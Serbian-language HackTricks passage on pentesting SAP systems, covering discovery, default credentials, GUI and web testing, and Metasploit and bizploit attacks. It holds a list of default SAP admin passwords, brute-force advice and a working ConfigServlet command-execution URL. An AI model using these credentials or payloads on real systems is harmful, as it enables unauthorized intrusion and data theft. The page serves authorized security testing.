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Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

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Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

Uvod o SAP-u

SAP označava Sistemske aplikacije i proizvode u obradi podataka. SAP, po definiciji, takođe predstavlja naziv ERP Enterprise Resource Planning softvera, kao i naziv kompanije. SAP sistem se sastoji od nekoliko potpuno integrisanih modula, koji pokrivaju praktično svaki aspekt upravljanja poslovanjem.

Svaka SAP instanca ili SID se sastoji od tri sloja: baza podataka, aplikacija i prezentacija), svaka infrastruktura obično se sastoji od četiri instance: razvoj, testiranje, QA i produkcija. Svaki od ovih slojeva može biti iskorišćen do neke mere, ali najveći efekat se postiže napadom na bazu podataka.

Svaka SAP instanca je podeljena na klijente. Svaki od njih ima korisnika SAP*, ekvivalent "root" korisnika aplikacije. Prilikom prvobitnog kreiranja, ovom korisniku SAP* se dodeljuje podrazumevana lozinka: "060719992" više podrazumevanih lozinki je navedeno ispod. Bili biste iznenađeni koliko često se ove lozinke ne menjaju u test ili razvojnim okruženjima!

Pokušajte da dobijete pristup shell-u bilo kog servera koristeći korisničko ime <SID>adm. Bruteforcing može pomoći, međutim može postojati mehanizam zaključavanja naloga.

Otkrivanje

Sledeći odeljak je uglavnom preuzet sa https://github.com/shipcod3/mySapAdventures od korisnika shipcod3!

Proverite obim aplikacije ili kratak opis programa za testiranje. Zabeležite imena hostova ili instanci sistema za povezivanje sa SAP GUI.
Koristite OSINT otvorene izvore informacija, Shodan i Google Dorks da proverite fajlove, poddomene i zanimljive informacije ako je aplikacija dostupna preko interneta ili javna:

inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine

Evo kako izgleda http://SAP:50000/irj/portal

Koristite nmap da proverite otvorene portove i poznate servise (sap rutere, webdynpro, web servise, web servere, itd.)
Pretražite URL-ove ako je pokrenut web server.
Fuzzujte direktorijume (možete koristiti Burp Intruder) ako ima web servera na određenim portovima. Evo nekih dobrih wordlisti koje pruža SecLists Project za pronalaženje podrazumevanih SAP ICM putanja i drugih interesantnih direktorijuma ili fajlova:

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt

Koristite SAP SERVICE DISCOVERY pomoćni Metasploit modul za enumeraciju SAP instanci/servisa/komponenti:

msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-01            yes       Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS                        yes       The target address range or CIDR identifier
THREADS      1                yes       The number of concurrent threads
TIMEOUT      1000             yes       The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101:       - [SAP] Beginning service Discovery '192.168.96.101'

Testiranje debelog klijenta / SAP GUI

Evo komande za povezivanje na SAP GUI sapgui <ime servera SAP> <broj sistema>

Proverite podrazumevane akreditive U Bugcrowd-ovoj taksonomiji ocene ranjivosti, ovo se smatra kao P1 -> Nesigurna konfiguracija servera \| Korišćenje podrazumevanih akreditiva \| Produkcijski server:

# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001

Pokrenite Wireshark, a zatim se autentifikujte na klijentu (SAP GUI) koristeći dobijene akreditive, jer neki klijenti prenose akreditive bez SSL-a. Postoje dva poznata dodatka za Wireshark koji mogu analizirati glavne zaglavlja koja koristi SAP DIAG protokol: SecureAuth Labs SAP dissection plug-in i SAP DIAG plugin od Positive Research Center.
Proverite da li postoje privilegije eskalacije, kao što je korišćenje nekih SAP Transaction Codes (tcodes) za korisnike sa niskim privilegijama:
- SU01 - Za kreiranje i održavanje korisnika
- SU01D - Za prikaz korisnika
- SU10 - Za masovno održavanje
- SU02 - Za ručno kreiranje profila
- SM19 - Bezbednosna revizija - konfiguracija
- SE84 - Informacioni sistem za SAP R/3 autorizacije
Proverite da li možete izvršiti sistemsku komandu / pokrenuti skriptu na klijentu.
Proverite da li možete izvršiti XSS na BAPI Explorer-u.

Testiranje veb interfejsa

Pretražite URL-ove (vidi fazu otkrivanja).
Testirajte URL-ove kao u fazi otkrivanja. Evo kako izgleda http://SAP:50000/index.html:

Potražite uobičajene ranjivosti veb aplikacija (pogledajte OWASP Top 10), jer postoje XSS, RCE, XXE i druge ranjivosti na nekim mestima.
Pogledajte Jason Haddix-ovu "The Bug Hunters Methodology" za testiranje ranjivosti veb aplikacija.
Autentifikacija zaobilazak putem izmenjivanja glagola? Možda :)
Otvorite http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#, zatim pritisnite dugme "Choose", a zatim u otvorenom prozoru pritisnite "Search". Trebali biste videti listu SAP korisnika (Vulnerability Reference: ERPSCAN-16-010)
Da li se akreditivi šalju preko HTTP-a? Ako da, smatra se kao P3 prema Bugcrowd-ovoj Vulnerability Rating Taxonomy: Broken Authentication and Session Management | Weak Login Function Over HTTP. Napomena: Pogledajte i http://SAP:50000/startPage ili logon portale :)

Pokušajte sa /irj/go/km/navigation/ za mogući prikaz direktorijuma ili zaobilazak autentifikacije
http://SAP/sap/public/info sadrži neke zanimljive informacije:

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Napad!

Proverite da li se izvršava na starim serverima ili tehnologijama poput Windows 2000.
Planirajte moguće eksploate / napade, postoji mnogo Metasploit modula za otkrivanje SAP-a (pomoćni moduli) i eksploate:

msf > search sap
Matching Modules
================
Name                                                                     Disclosure Date  Rank       Description
----                                                                     ---------------  ----       -----------
auxiliary/admin/maxdb/maxdb_cons_exec                                    2008-01-09       normal     SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth                        2012-11-01       normal     SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec                                                   normal     SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file                                            normal     SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi                                  2008-11-13       normal     Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi                              2011-04-12       normal     Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute                                     normal     SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web                                 normal     SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum                                      normal     SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum                                   normal     SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt                                    normal     SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem                                      normal     SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info                                                 normal     SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan                                                     normal     SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog                                                normal     SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login                                            normal     SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers                                           normal     SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints                                        normal     SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv                                                 normal     SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles                                            normal     SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist                                         normal     SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter                                    normal     SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties                                     normal     SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles                                           normal     SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile                                           normal     SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version                                                normal     SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request                                             normal     SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner                                              normal     SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery                                               normal     SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay                                                       normal     SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1                                          normal     SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login                                            normal     SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec                   normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec                               normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing                              normal     SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence                            normal     SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping                                                   normal     SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table                                             normal     SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir                                           normal     SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface                                normal     SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec                                  normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec                                      normal     SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info                                            normal     SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure                                       normal     SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login                                             normal     SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload                            2011-03-08       excellent  SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec                     2013-03-26       great      SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec                         2012-05-08       great      SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download                        2009-04-15       excellent  EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml                    2007-07-05       normal     EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile                     2009-03-31       normal     SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth                       2012-11-01       great      SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec                           2012-08-14       average    SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools                                      2007-07-05       great      SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd                                               2008-02-04       good       SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license                                    2009-08-01       great      SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher                            2012-05-08       normal     SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow

Pokušajte da koristite neke poznate eksploate (proverite Exploit-DB) ili napade poput starog, ali dobrog "SAP ConfigServlet Remote Code Execution" u SAP Portalu:

http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a

Pre pokretanja start komande na bizploit skripti u fazi otkrivanja, takođe možete dodati sledeće za izvođenje procene ranjivosti:

bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start

Ostali korisni alati za testiranje

PowerSAP - Powershell alat za procenu sigurnosti SAP-a
Burp Suite - neophodan za fuzziranje direktorijuma i procenu sigurnosti veb aplikacija
pysap - Python biblioteka za kreiranje SAP mrežnih protokol paketa
https://github.com/gelim/nmap-erpscan - Pomaže nmap-u da otkrije SAP/ERP

Reference